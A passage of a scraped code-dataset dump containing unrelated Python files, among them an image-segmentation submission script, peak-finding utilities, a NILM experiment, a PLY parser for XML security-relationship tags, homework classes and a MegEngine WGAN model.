cutoff<=0:\n prob = get_mask_prob(img, nets)\n return prob_to_out(prob)\n\n mask = np.zeros( (2,img.shape[1], img.shape[2]), dtype=np.float32 )\n step = 256\n step = cutoff\n for flip in [0,1]:\n for x in xrange(0, img.shape[1],step):\n xstart = x\n xstop = min(xstart+cutoff,img.shape[1])\n xstart = xstop-cutoff\n for y in xrange(0, img.shape[2], step):\n ystart = y\n ystop = min(ystart+cutoff,img.shape[2])\n ystart = ystop-cutoff\n #print(xstart,ystart,xstop,ystop)\n _img = img[:,xstart:xstop,ystart:ystop]\n if flip==1:\n do_flip(_img)\n _mask = get_mask_prob(_img, nets)\n if flip==1:\n do_flip(_mask)\n do_flip(_img)\n mask[:,xstart:xstop,ystart:ystop] += _mask\n #mask[:,xstart:xstop,ystart:ystop] = np.maximum(mask[:, xstart:xstop, ystart:ystop], _mask)\n if ystop>=img.shape[2]:\n break\n if xstop>=img.shape[1]:\n break\n return prob_to_out(mask)\n\ndef rle_encode(mask_image):\n pixels = mask_image.flatten()\n # We avoid issues with '1' at the start or end (at the corners of \n # the original image) by setting those pixels to '0' explicitly.\n # We do not expect these to be non-zero for an accurate mask, \n # so this should not harm the score.\n pixels[0] = 0\n pixels[-1] = 0\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 2\n runs[1::2] = runs[1::2] - runs[:-1:2]\n return runs\n\n\ndef rle_to_string(runs):\n return ' '.join(str(x) for x in runs)\n\ndef dice_coef(pred_label, label):\n\n r = 0.0\n pred_label_sum = np.sum(pred_label)\n label_sum = np.sum(label)\n if pred_label_sum==0 and label_sum==0:\n r = 1.0\n else:\n intersection = np.sum(pred_label * label)\n r = (2. * intersection) / (pred_label_sum + label_sum)\n return r\n\ndef main():\n #ensembles = [ ('./model/deeplab5', 12), ('./model/deeplab6', 11), ('./model/deeplab7', 9) ]\n ensembles = [ ('./model/deeplab-9-19/deeplab-1024', 96), ('./model/deeplab-9-19/deeplab-1152', 51) ]\n DATA_ROOT = '/raid5data/dplearn/carvn'\n parser = argparse.ArgumentParser(description='carvn submit')\n parser.add_argument('--gpu', type=int, default=7,\n help='gpu for use.')\n parser.add_argument('--cutoff', type=int, default=1280,\n help='cutoff size.')\n parser.add_argument('--parts', default='',\n help='test parts.')\n args = parser.parse_args()\n ctx = mx.gpu(args.gpu)\n nets = []\n for m in ensembles:\n net = edict()\n net.ctx = ctx\n print('loading', m[0], m[1])\n net.sym, net.arg_params, net.aux_params = mx.model.load_checkpoint(m[0], m[1])\n net.arg_params, net.aux_params = ch_dev(net.arg_params, net.aux_params, net.ctx)\n nets.append(net)\n test_data_dir = os.path.join(DATA_ROOT, 'test_hq')\n suffix = '_'.join(args.parts.split(','))\n parts = {}\n for p in args.parts.split(','):\n if len(p)==0:\n continue\n parts[int(p)] = 1\n out_fn = 'submit.csv'\n if len(suffix)>0:\n out_fn = \"submit_%s.csv\" % suffix\n outf = open(out_fn, 'w')\n #outf.write(\"img,rle_mask\\n\")\n pp = 0\n for img in os.listdir(test_data_dir):\n #id = img.split('.')[0]\n id = img\n pos = int(img.split('.')[0].split('_')[1])\n if len(parts)>0 and not pos in parts:\n #print(\"skip %d\"%pos)\n continue\n img = os.path.join(test_data_dir, img)\n #print(img)\n mask = get_mask(img, args.cutoff, nets)\n #print(mask.shape)\n #mask = Image.fromarray(mask)\n #mask.putpalette(pallete)\n #out_img = os.path.join('./mask_images', img)\n #out_img = out_img.replace(\"jpg\", \"png\")\n #mask.save(out_img)\n rle = rle_encode(mask)\n rle_str = rle_to_string(rle)\n outf.write(\"%s,%s\\n\" % (id, rle_str))\n pp+=1\n if pp%1==0:\n prt(\"Processing %d\"%pp)\n outf.close()\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"carvn/deeplab/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":6922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"396930966","text":"import cv2\nimport os\ncam = cv2.VideoCapture(0)\ndetector=cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nId=raw_input('enter your id')\nimagePaths=[os.path.join('dataset',f) for f in os.listdir('dataset')] \nsampleNum=0\nfor p in imagePaths:\n id = p.split(\".\")[1]\n count = p.split(\".\")[2]\n if(Id==id and sampleNumsnaps:\n break\ncam.release()\ncv2.destroyAllWindows()","sub_path":"create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"163247401","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nfrom lib import init_redis, prepare_hashes, find_matches\n\n\ndef compute(r):\n while not r.exists('stop'):\n path_key = r.spop('to_process')\n if path_key is not None:\n buf = r.get(path_key)\n prepare_hashes(r, buf, path_key)\n r.delete(path_key)\n elif r.exists('all_keys_similar_new'):\n find_matches(r.spop('all_keys_similar_new'), r)\n else:\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n r = init_redis('ssdc.conf')\n r.delete('stop')\n compute(r)\n","sub_path":"multiproc/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"136765351","text":"\n\nimport numpy as np\nfrom scipy import optimize\n\nfrom numba import jit\n\n\ndef maxima(data, size):\n # wrapped the jit subfunction because if the new array\n # is created within the jit code it leaks memory\n output = np.zeros(data.shape, dtype=int)\n if data.ndim == 3:\n _local_maxima_3d(data, output, size)\n elif data.ndim == 2:\n _local_maxima_2d(data, output, size)\n for index in zip(*np.where(output > 0)):\n yield index, data[index]\n\n\n@jit\ndef _local_maxima_3d(a, dst, size):\n for sec in range(0, a.shape[0]-size):\n for row in range(size, a.shape[1]-size):\n for col in range(size, a.shape[2]-size):\n dst[sec, row, col] = local_maximum_3d(a, sec, row, col, size)\n return dst\n\n\n@jit\ndef _local_maxima_2d(a, dst, size):\n for row in range(size, a.shape[0]-size):\n for col in range(size, a.shape[1]-size):\n dst[row, col] = local_maximum_2d(a, row, col, size)\n return dst\n\n\n@jit\ndef local_maximum_3d(a, sec, row, col, size):\n value = a[sec, row, col]\n for ss in range(sec, sec+size+1):\n for rs in range(row-size, row+size+1):\n for cs in range(col-size, col+size+1):\n if ss != sec or rs != row or cs != col:\n if a[ss, rs, cs] >= value:\n return 0\n return 1\n\n\n@jit\ndef local_maximum_2d(a, row, col, size):\n value = a[row, col]\n for rs in range(row-size, row+size+1):\n for cs in range(col-size, col+size+1):\n if rs != row or cs != col:\n if a[rs, cs] >= value:\n return 0\n return 1\n\n\ndef minima(data, size):\n for index, value in maxima(-data, size):\n yield index, -value\n\n\ndef neighbors_2d(row, col, size):\n return np.indices([size*2+1]*2).reshape([2, -1]).transpose() + [row, col] - size\n\n\ndef indices(data):\n return np.indices(data.shape).reshape([data.ndim, -1]).transpose()\n\n\ndef interpolator(data):\n points = indices(data)\n return scipy.interpolate.LinearNDInterpolator(points, data.flatten())\n\n\ndef neighbors(size):\n size = np.array(size)\n idxs = np.indices(size).reshape([size.size, -1]).T - ( size / 2 )\n return idxs\n\n\ndef gaussian_2d(amp, cx, cy, psi, sx, sy, x, y):\n tsin = np.sin(psi)\n tcos = np.cos(psi)\n a1 = (((x-cx)*tcos - (y-cy)*tsin)/sx)**2\n a2 = (((y-cy)*tcos + (x-cx)*tsin)/sy)**2\n return amp*np.exp(-(a1+a2))\n\n\ndef estimate_gaussian2d(data, row, col):\n amp = data[row, col]\n try:\n sigx = np.sqrt(np.abs(-1.0/(np.log(data[row , col+1]/amp))))\n sigy = np.sqrt(np.abs(-1.0/(np.log(data[row+1, col]/amp))))\n except:\n sigx = 1.0\n sigy = 1.0\n psi = np.atan2(sigy, sigx)\n return amp, col, row, psi, sigx, sigy\n\n\ndef fit_gaussian2d(data, row, col):\n points = neighbors_2d(row, col, 1)\n\n def error(params):\n amp, cx, cy, psi, sx, sy = params\n total = []\n for row, col in points:\n if row < 0:\n row = 0\n if col < 0:\n col = 0\n if row >= data.shape[0]:\n row = data.shape[0]-1\n if col >= data.shape[1]:\n col = data.shape[1]-1\n total += [gaussian_2d(amp, cx, cy, psi, sx, sy, col, row) - data[row, col]]\n return total\n\n try:\n start = estimate_gaussian2d(data, row, col)\n solution, _ = optimize.leastsq(error, start)\n return solution\n except:\n return None\n\n\ndef fit2d(data, row, col):\n row, col = int(row), int(col)\n dxx = data[row, col+1] + data[row, col-1] - 2*data[row, col]\n dyy = data[row+1, col ] + data[row-1, col] - 2*data[row, col]\n dxy = data[row+1, col+1] - data[row+1, col-1] - data[row-1, col+1] + data[row-1, col-1]\n values, vectors = np.linalg.eig([[dxx, dxy],\n [dxy, dyy]])\n values = np.abs(values)\n psi = np.atan2(vectors[0, 0], vectors[0, 1])\n if values[0] > values[1]:\n return values[0], values[1], np.degrees(psi)\n return values[1], values[0], 180-np.degrees(psi)\n\n\n@jit\ndef draw_gaussian(canvas, amp, cx, cy, psi, sx, sy):\n for row in range(canvas.shape[0]):\n for col in range(canvas.shape[1]):\n canvas[row,col] = gaussian_2d(amp,cx,cy,psi,sx,sy,col,row)\n return canvas\n\nif __name__ == \"__main__\":\n import time\n from imaging import save, load\n a = draw_gaussian(np.zeros([512,512]), 1.0, 255.7, 256.4, np.radians(21.2), 20, 100)\n save(a, \"temp_a.png\")\n\n t0 = time.time()\n params = fit_gaussian2d(a,256,256)\n print( \"took:\", time.time() - t0)\n print( \"amp:\", params[0])\n print( \"center:\", params[2], params[1])\n print( \"sigmas:\", params[4], params[5])\n print( \"psi:\", np.degrees(params[3]) % 360)\n\n b = draw_gaussian(np.zeros([512,512]), *params)\n save(b, \"temp_b.png\")\n\n c = np.zeros([4000,4000])\n c[23,43] = 1.0\n c[443,3242] = 1.0\n print(list(maxima(c, 3)))\n\n c = np.zeros([128,128,128])\n c[123,121,102] = 1.0\n print(list(maxima(c, 3)))\n\n\n","sub_path":"imaging/detection/peaks.py","file_name":"peaks.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"229855937","text":"import pandas as pd\nfrom libDataLoaders import dataset_loader\nimport collections\nimport nilm\nfrom ikhmm import *\nfrom evaluator import *\n\npd.set_option('display.max_columns', None)\nmodel_args = pd.read_csv(\"model_building_args.csv\", header=None)\nn_appliance = 1\nargs = model_args.loc[n_appliance - 1, :]\ndataset = args[1]\nprecision = args[2]\ndenoised = args[4]\nids = args[7].split(',')\ndatasets_dir = './data/%s.csv'\ndata = dataset_loader(datasets_dir % dataset, ids, precision=precision, denoised=denoised)\naggregate = data.WHE.tail(36 * 1440)\nhmms = collections.OrderedDict()\napp_ids = list(data)[1:-1]\nfor app_id in app_ids:\n hmm = IterativeKmeansHMM(data[app_id].head(3 * 1440), max_k=4, std_thres=1)\n hmm.fit()\n hmms[app_id] = hmm\nsolver = nilm.SIQP(aggregate, hmms=hmms, step_thr=2)\nsolver.solve()\nground_truth = data[app_ids].tail(36 * 1440)\nevaluator = Evaluator(ground_truth, solver.estimate, solver.aggregate)\nevaluator.show()\nprint(evaluator.report)\n","sub_path":"main_AMPdsR1_simpl_fhmm.py","file_name":"main_AMPdsR1_simpl_fhmm.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"548144626","text":"n = int(input())\n\ndic = {}\n\nfor i in range(n) :\n tmp = input()\n\n if tmp in dic :\n dic[tmp] += 1\n else :\n dic[tmp] = 1\n\nnamae, hyou = max(dic.items(), key=lambda x: x[1])\n\nprint(namae)","sub_path":"AtCoder/01_ABC/000/008/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"448375181","text":"# **************************************************************************\n# *\n# * Authors: J.M. De la Rosa Trevin (jmdelarosa@cnb.csic.es)\n# *\n# * Unidad de Bioinformatica of Centro Nacional de Biotecnologia , CSIC\n# *\n# * This program is free software; you can redistribute it and/or modify\n# * it under the terms of the GNU General Public License as published by\n# * the Free Software Foundation; either version 2 of the License, or\n# * (at your option) any later version.\n# *\n# * This program is distributed in the hope that it will be useful,\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# * GNU General Public License for more details.\n# *\n# * You should have received a copy of the GNU General Public License\n# * along with this program; if not, write to the Free Software\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n# * 02111-1307 USA\n# *\n# * All comments concerning this program package may be sent to the\n# * e-mail address 'jmdelarosa@cnb.csic.es'\n# *\n# **************************************************************************\n\nimport os\nfrom os.path import join, exists\n\nCTFFIND3 = 'ctffind3.exe'\nCTFFIND4 = 'ctffind'\nFREALIGN = 'frealign_v9.exe'\nFREALIGNMP = 'frealign_v9_mp.exe'\nCALC_OCC = 'calc_occ.exe'\nRSAMPLE = 'rsample.exe'\nUNBLUR = 'unblur'\nSUMMOVIE = 'sum_movie_openmp_7_17_15.exe'\n\ndef _getCtffind4():\n ctffind4 = join(os.environ['CTFFIND4_HOME'], 'bin', CTFFIND4)\n if exists(ctffind4):\n return ctffind4\n else:\n return join(os.environ['CTFFIND4_HOME'], CTFFIND4)\n \ndef _getHome(key, default):\n \"\"\" Get the required home path, if not present..\n the default value will be used from EM_ROOT.\n \"\"\"\n return os.environ.get(key, join(os.environ['EM_ROOT'], default))\n\nCTFFIND_PATH = join(os.environ['CTFFIND_HOME'], CTFFIND3)\nCTFFIND4_PATH = _getCtffind4()\n\nFREALING_HOME = _getHome('FREALIGN_HOME', 'frealign')\nFREALIGN_PATH = join(FREALING_HOME, 'bin', FREALIGN)\nFREALIGNMP_PATH = join(FREALING_HOME, 'bin', FREALIGNMP)\nCALC_OCC_PATH = join(FREALING_HOME, 'bin', CALC_OCC)\nRSAMPLE_PATH = join(FREALING_HOME, 'bin', RSAMPLE)\n\nUNBLUR_PATH = join(_getHome('UNBLUR_HOME', 'unblur'), 'bin', UNBLUR)\nSUMMOVIE_PATH = join(_getHome('SUMMOVIE_HOME', 'summovie'), 'bin', SUMMOVIE)\n","sub_path":"pyworkflow/em/packages/grigoriefflab/grigoriefflab.py","file_name":"grigoriefflab.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"288452497","text":"#!/usr/bin/env python3.8\n\nimport random\nimport re\nimport sys\n\n\ndef shuffle_chars(word: str) -> str:\n if len(word) > 3:\n positions = list(range(1, len(word) - 1))\n random.shuffle(positions)\n return word[0] + ''.join(map(lambda x: word[x], positions)) + word[len(word) - 1]\n return word\n\n\ndef sort_chars(word: str) -> str:\n if len(word) > 3:\n positions = list(range(1, len(word) - 1))\n list.sort(positions, key=lambda x: word[x])\n return word[0] + ''.join(map(lambda x: word[x], positions)) + word[len(word) - 1]\n return word\n\n\nif __name__ == '__main__':\n filename = 'example.txt'\n processing_function = shuffle_chars\n if len(sys.argv) > 3:\n raise ValueError(\"Too many arguments\")\n if len(sys.argv) > 1:\n if sys.argv[1] == '--sorted':\n processing_function = sort_chars\n if len(sys.argv) == 3:\n filename = sys.argv[2]\n else:\n if len(sys.argv) != 2:\n print(sys.argv)\n raise ValueError(\"Too many arguments\")\n filename = sys.argv[1]\n\n fp = open(filename, 'r')\n line = fp.readline()\n while line:\n words = re.split(r'[`\\-=~!@#$%^&*()_+\\[\\]{};\\'\\\\:\"|<,./<>? \\t\\n\\r]', line)\n print(' '.join(map(processing_function, words)))\n line = fp.readline()\n","sub_path":"problems-6/v-chernikov/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"325956915","text":"def split_host_pattern(pattern):\n \"\\n Takes a string containing host patterns separated by commas (or a list\\n thereof) and returns a list of single patterns (which may not contain\\n commas). Whitespace is ignored.\\n\\n Also accepts ':' as a separator for backwards compatibility, but it is\\n not recommended due to the conflict with IPv6 addresses and host ranges.\\n\\n Example: 'a,b[1], c[2:3] , d' -> ['a', 'b[1]', 'c[2:3]', 'd']\\n \"\n if isinstance(pattern, list):\n return list(itertools.chain(*map(split_host_pattern, pattern)))\n elif (not isinstance(pattern, string_types)):\n pattern = to_native(pattern)\n if (',' in pattern):\n patterns = re.split('\\\\s*,\\\\s*', pattern)\n else:\n try:\n (base, port) = parse_address(pattern, allow_ranges=True)\n patterns = [pattern]\n except:\n patterns = re.findall(\"(?: # We want to match something comprising:\\n [^\\\\s:\\\\[\\\\]] # (anything other than whitespace or ':[]'\\n | # ...or...\\n \\\\[[^\\\\]]*\\\\] # a single complete bracketed expression)\\n )+ # occurring once or more\\n \", pattern, re.X)\n return [p.strip() for p in patterns]","sub_path":"Data Set/bug-fixing-5/e8c599b0f7c1cfabcfc6bb952ad0a1306a138ea7--bug.py","file_name":"e8c599b0f7c1cfabcfc6bb952ad0a1306a138ea7--bug.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"296729120","text":"import ply.lex as lex\nimport ply.yacc as yacc\nimport sys\n\ntokens = [\n\t'SECURITY_RELATIONSHIP_OPEN', 'SECURITY_RELATIONSHIP_CLOSE', 'LINKED_NODE_OPEN', 'LINKED_NODE_CLOSE',\n\t'NODE_ID', 'END_OPEN', 'RELATIONSHIP_TYPE_OPEN','INTERACTION_ID','RELATIONSHIP_TYPE_CLOSE',\n\t'SECURITY_OBJECTIVES_OPEN', 'SECURITY_OBJECTIVES_CLOSE', 'SECURITY_OBJECTIVE_OPEN', 'SECURITY_OBJECTIVE_CLOSE',\n\t'SELF_OBJECTIVE_OPEN', 'SELF_OBJECTIVE_CLOSE', 'PEER_OBJECTIVE_OPEN', 'PEER_OBJECTIVE_CLOSE'\n]\n\nt_SECURITY_RELATIONSHIP_OPEN = r''\nt_SECURITY_RELATIONSHIP_CLOSE = r''\nt_LINKED_NODE_OPEN = r''\nt_RELATIONSHIP_TYPE_OPEN = r''\nt_SECURITY_OBJECTIVES_OPEN = r''\nt_SECURITY_OBJECTIVES_CLOSE = r''\nt_SECURITY_OBJECTIVE_OPEN = r''\nt_SECURITY_OBJECTIVE_CLOSE = r''\nt_SELF_OBJECTIVE_OPEN = r''\nt_SELF_OBJECTIVE_CLOSE = r''\nt_PEER_OBJECTIVE_OPEN = r'( | )'\nt_PEER_OBJECTIVE_CLOSE = r''\n\nt_NODE_ID = r'\"[a-zA-Z-1-9]+\"'\nt_INTERACTION_ID = r'\"\\w+\\d+\"'\nt_END_OPEN = r'>'\nt_ignore = \" \\n\\t\"\n\n\ndef p_structure_security_relationships(t):\n\t'''\n\tstructure_security_relationships : SECURITY_RELATIONSHIP_OPEN security-relationships SECURITY_RELATIONSHIP_CLOSE\n\t'''\n\tprint(\"1\")\n\treturn\n\ndef p_security_relationships(t):\n '''\n security-relationships : security-relationships security-relationships\n | LINKED_NODE_OPEN NODE_ID END_OPEN linked-node LINKED_NODE_CLOSE\n '''\n print(\"2\")\n return\n\ndef p_expression_linked_node(t):\n '''\n linked-node : linked-node linked-node\n | RELATIONSHIP_TYPE_OPEN INTERACTION_ID END_OPEN relationship-type RELATIONSHIP_TYPE_CLOSE\n '''\n print(\"3\")\n return\n\n\ndef p_expression_relationship_type(t):\n '''\n relationship-type : SECURITY_OBJECTIVES_OPEN security-objectives_SR SECURITY_OBJECTIVES_CLOSE\n '''\n print(\"4\")\n return\n\n\ndef p_expression_security_objectives_SR(t):\n '''\n security-objectives_SR : security-objectives_SR security-objectives_SR\n\t\t\t\t\t\t | SECURITY_OBJECTIVE_OPEN security-objective_SR security-objective_SR SECURITY_OBJECTIVE_CLOSE\n '''\n print(\"5\")\n return\n\ndef p_expression_security_objective_SR(t):\n '''\n security-objective_SR : SELF_OBJECTIVE_OPEN SELF_OBJECTIVE_CLOSE\n\t\t\t\t\t\t | PEER_OBJECTIVE_OPEN PEER_OBJECTIVE_CLOSE\n '''\n print(\"6\")\n return\n\ndef p_error(p):\n\tprint(\"Syntax error\")\n\treturn\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n return\n\n\nfile = open('pruebaIsacc.xml','r')\ncount = 0\nprint(\"------------------INICIO DE PRUEBA DE RECONOCIMIENTO DE TOKENS------------------\")\nfor line in file:\n try:\n lexer=lex.lex()\n lexer.input(line)\n while True:\n tok=lexer.token()\n if not tok:\n break\n print(tok)\n except EOFError:\n break\nfile.close()\nprint(\"------------------FIN DE PRUEBA DE RECONOCIMIENTO DE TOKENS------------------\")\n\nprint(\"------------------INICIO DE PRUEBA DE RECONOCIMIENTO DE GRAMATICA------------------\")\nwith open('pruebaIsacc.xml','r') as myfile:\n data=myfile.read()\n #print(data)\nparser=yacc.yacc()\nparser.parse(data)\nprint(\"------------------FIN DE PRUEBA DE RECONOCIMIENTO DE GRAMATICA------------------\")\n","sub_path":"Tokens/tokens_isacc.py","file_name":"tokens_isacc.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"67134758","text":"### Zadanie 4.3 | Pociąg\nimport pytest\n\n\nclass Train:\n MAX_SPEED_UPDATE = 75\n\n def __init__(self, speed: int, fuel_amount: float):\n self.speed = speed\n self.fuel_amount = fuel_amount\n\n def desc(self) -> str:\n return f'Moja predkość to {self.speed}. Mam jeszcze {self.fuel_amount} litrów paliwa.'\n\n def __str__(self) -> str:\n return self.desc()\n\n def acceleration(self, increase_speed: int) -> (int, float):\n \"\"\"\n Metoda do zwiększania prędkości pociągu\n\n :param increase_speed:\n :return:\n \"\"\"\n old_speed = self.speed\n fuel_cost = (self.speed + increase_speed - old_speed) * (old_speed / 100)\n if (self.speed < self.speed + increase_speed < self.speed * (Train.MAX_SPEED_UPDATE / 100) + self.speed) and \\\n fuel_cost <= self.fuel_amount:\n self.speed += increase_speed\n self.fuel_amount -= fuel_cost\n return self.speed, self.fuel_amount\n\n\ntrain1 = Train(10, 1000)\ntrain1.acceleration(5)\nprint(train1)\ntrain1.acceleration(20)\nprint(train1)\ntrain1.acceleration(8)\nprint(train1)\ntrain1.acceleration(10)\nprint(train1)\n\n\nclass TestTrain:\n def test_acceleration(self):\n train1 = Train(10, 1000)\n assert train1\n train1.acceleration(5)\n assert train1.desc() == 'Moja predkość to 15. Mam jeszcze 999.5 litrów paliwa.'\n train1.acceleration(20)\n assert train1.desc() == 'Moja predkość to 15. Mam jeszcze 999.5 litrów paliwa.'\n train1.acceleration(8)\n assert train1.desc() == 'Moja predkość to 23. Mam jeszcze 998.3 litrów paliwa.'\n train1.acceleration(10)\n assert train1.desc() == 'Moja predkość to 33. Mam jeszcze 996.0 litrów paliwa.'\n\n\n\n### Zadanie 4.4 | Zbiornik\nprint('*' * 100)\n\nclass Zbiornik:\n def __init__(self, ilosc_wody: float, tempertaura: float):\n self.ilosc_wody = ilosc_wody\n self.tempertaura = tempertaura\n def __str__(self):\n return self.desc()\n\n def desc(self):\n return f'zbiornik z {self.ilosc_wody} litrami wody w temperaturze {self.tempertaura:.2f}'\n\n def dolej(self, ile: float, temperatura: float) -> (float, float):\n \"\"\"\n Metoda oblicza ilość litrów wody w zbiorniku po dolaniu\n :param ile:\n :return:\n \"\"\"\n temperatura_przed_dolaniem = self.tempertaura\n ilosc_wody_przed_dolaniem = self.ilosc_wody\n self.ilosc_wody += ile\n self.tempertaura = (ilosc_wody_przed_dolaniem * temperatura_przed_dolaniem + ile * temperatura)\\\n / self.ilosc_wody\n return self.ilosc_wody, self.tempertaura\n\n def odlej(self, ile: float) -> float:\n \"\"\"\n Metoda oblicza ilość litrów wody w zbiorniku po odlaniu\n :param ile:\n :return:\n \"\"\"\n if ile >= self.ilosc_wody:\n self.ilosc_wody = 0\n else:\n self.ilosc_wody -= ile\n\n return self.ilosc_wody\n\nzb = Zbiornik(10, 1)\nzb.dolej(2, 5)\nprint(zb)\n\n\nclass TestZbiornik:\n def test_dolej(self):\n zb1 = Zbiornik(10, 5)\n zb1.dolej(10, 5)\n assert zb1.desc() == 'zbiornik z 20 litrami wody w temperaturze 5.00'\n zb1.odlej(30)\n assert zb1.desc() == 'zbiornik z 0 litrami wody w temperaturze 5.00'\n zb1.dolej(20, 15)\n assert zb1.desc() == 'zbiornik z 20 litrami wody w temperaturze 15.00'\n zb1.odlej(30)\n assert zb1.desc() == 'zbiornik z 0 litrami wody w temperaturze 15.00'\n\n\n### Zadanie 4.5 | Żółw\nprint('*' * 100)\n\nclass Zolw:\n def __init__(self, x: int, y: int, kurs=0):\n self.x = x\n self.y = y\n self.kurs = kurs\n\n def __str__(self):\n return f'x={self.x} y={self.y}'\n\n def idz(self, dystans: int):\n if self.kurs == 0:\n self.y -= dystans\n elif self.kurs == 90:\n self.x += dystans\n elif self.kurs ==180:\n self.y += dystans\n elif self.kurs == 270:\n self.x -= dystans\n return self.x, self.y\n\n def obroc_sie(self, kurs):\n kursy = [0, 90, 180, 270]\n if kurs not in kursy:\n raise ValueError('niewłaściwy kurs')\n self.kurs = kurs\n return self.kurs\n\n\nz = Zolw(100, 100)\nz.idz(50)\nprint(z)\nz.obroc_sie(90)\nz.idz(50)\nprint(z)\nz.obroc_sie(180)\nz.idz(50)\nprint(z)\n\nclass TestZolw:\n def test_obroc_sie(self):\n z = Zolw(100, 100)\n with pytest.raises(ValueError):\n z.obroc_sie(1)\n z.obroc_sie(175)\n\n def test_idz(self):\n z = Zolw(100, 100)\n z.idz(50)\n assert str(z) == 'x=100 y=50'\n z.obroc_sie(90)\n z.idz(50)\n assert str(z) == 'x=150 y=50'\n z.obroc_sie(180)\n z.idz(50)\n assert str(z) == 'x=150 y=100'\n\n\n","sub_path":"homework/homework_class.py","file_name":"homework_class.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"456187613","text":"# Copyright (c) 2020 Kwot Sin Lee\n# This code is licensed under MIT license\n# (https://github.com/kwotsin/mimicry/blob/master/LICENSE)\n# ------------------------------------------------------------------------------\n# MegEngine is Licensed under the Apache License, Version 2.0 (the \"License\")\n#\n# Copyright (c) 2014-2021 Megvii Inc. All rights reserved.\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#\n# This file has been modified by Megvii (\"Megvii Modifications\").\n# All Megvii Modifications are Copyright (C) 2014-2019 Megvii Inc. All rights reserved.\n# ------------------------------------------------------------------------------\nimport megengine.functional as F\nimport megengine.module as M\n\nfrom ..blocks import GBlock\nfrom . import wgan_base\nfrom .wgan_base import WGANDBlockOptimized as DBlockOptimized\nfrom .wgan_base import WGANDBlockWithLayerNorm as DBlock\n\n\nclass WGANGeneratorCIFAR(wgan_base.WGANBaseGenerator):\n r\"\"\"\n ResNet backbone generator for ResNet WGAN.\n\n Attributes:\n nz (int): Noise dimension for upsampling.\n ngf (int): Variable controlling generator feature map sizes.\n bottom_width (int): Starting width for upsampling generator output to an image.\n loss_type (str): Name of loss to use for GAN loss.\n \"\"\"\n def __init__(self, nz=128, ngf=256, bottom_width=4, **kwargs):\n super().__init__(nz=nz, ngf=ngf, bottom_width=bottom_width, **kwargs)\n\n # Build the layers\n self.l1 = M.Linear(self.nz, (self.bottom_width**2) * self.ngf)\n self.block2 = GBlock(self.ngf, self.ngf, upsample=True)\n self.block3 = GBlock(self.ngf, self.ngf, upsample=True)\n self.block4 = GBlock(self.ngf, self.ngf, upsample=True)\n self.b5 = M.BatchNorm2d(self.ngf)\n self.c5 = M.Conv2d(self.ngf, 3, 3, 1, padding=1)\n self.activation = M.ReLU()\n\n # Initialise the weights\n M.init.xavier_uniform_(self.l1.weight, 1.0)\n M.init.xavier_uniform_(self.c5.weight, 1.0)\n\n def forward(self, x):\n r\"\"\"\n Feedforwards a batch of noise vectors into a batch of fake images.\n\n Args:\n x (Tensor): A batch of noise vectors of shape (N, nz).\n\n Returns:\n Tensor: A batch of fake images of shape (N, C, H, W).\n \"\"\"\n h = self.l1(x)\n h = h.reshape(x.shape[0], -1, self.bottom_width, self.bottom_width)\n h = self.block2(h)\n h = self.block3(h)\n h = self.block4(h)\n h = self.b5(h)\n h = self.activation(h)\n h = F.tanh(self.c5(h))\n\n return h\n\n\nclass WGANDiscriminatorCIFAR(wgan_base.WGANBaseDiscriminator):\n r\"\"\"\n ResNet backbone discriminator for ResNet WGAN.\n\n Attributes:\n ndf (int): Variable controlling discriminator feature map sizes.\n loss_type (str): Name of loss to use for GAN loss.\n \"\"\"\n def __init__(self, ndf=128, **kwargs):\n super().__init__(ndf=ndf, **kwargs)\n\n # Build layers\n self.block1 = DBlockOptimized(3, self.ndf)\n self.block2 = DBlock(self.ndf,\n self.ndf,\n downsample=True)\n self.block3 = DBlock(self.ndf,\n self.ndf,\n downsample=False)\n self.block4 = DBlock(self.ndf,\n self.ndf,\n downsample=False)\n self.l5 = M.Linear(self.ndf, 1)\n self.activation = M.ReLU()\n\n # Initialise the weights\n M.init.xavier_uniform_(self.l5.weight, 1.0)\n\n def forward(self, x):\n r\"\"\"\n Feedforwards a batch of real/fake images and produces a batch of GAN logits.\n\n Args:\n x (Tensor): A batch of images of shape (N, C, H, W).\n\n Returns:\n Tensor: A batch of GAN logits of shape (N, 1).\n 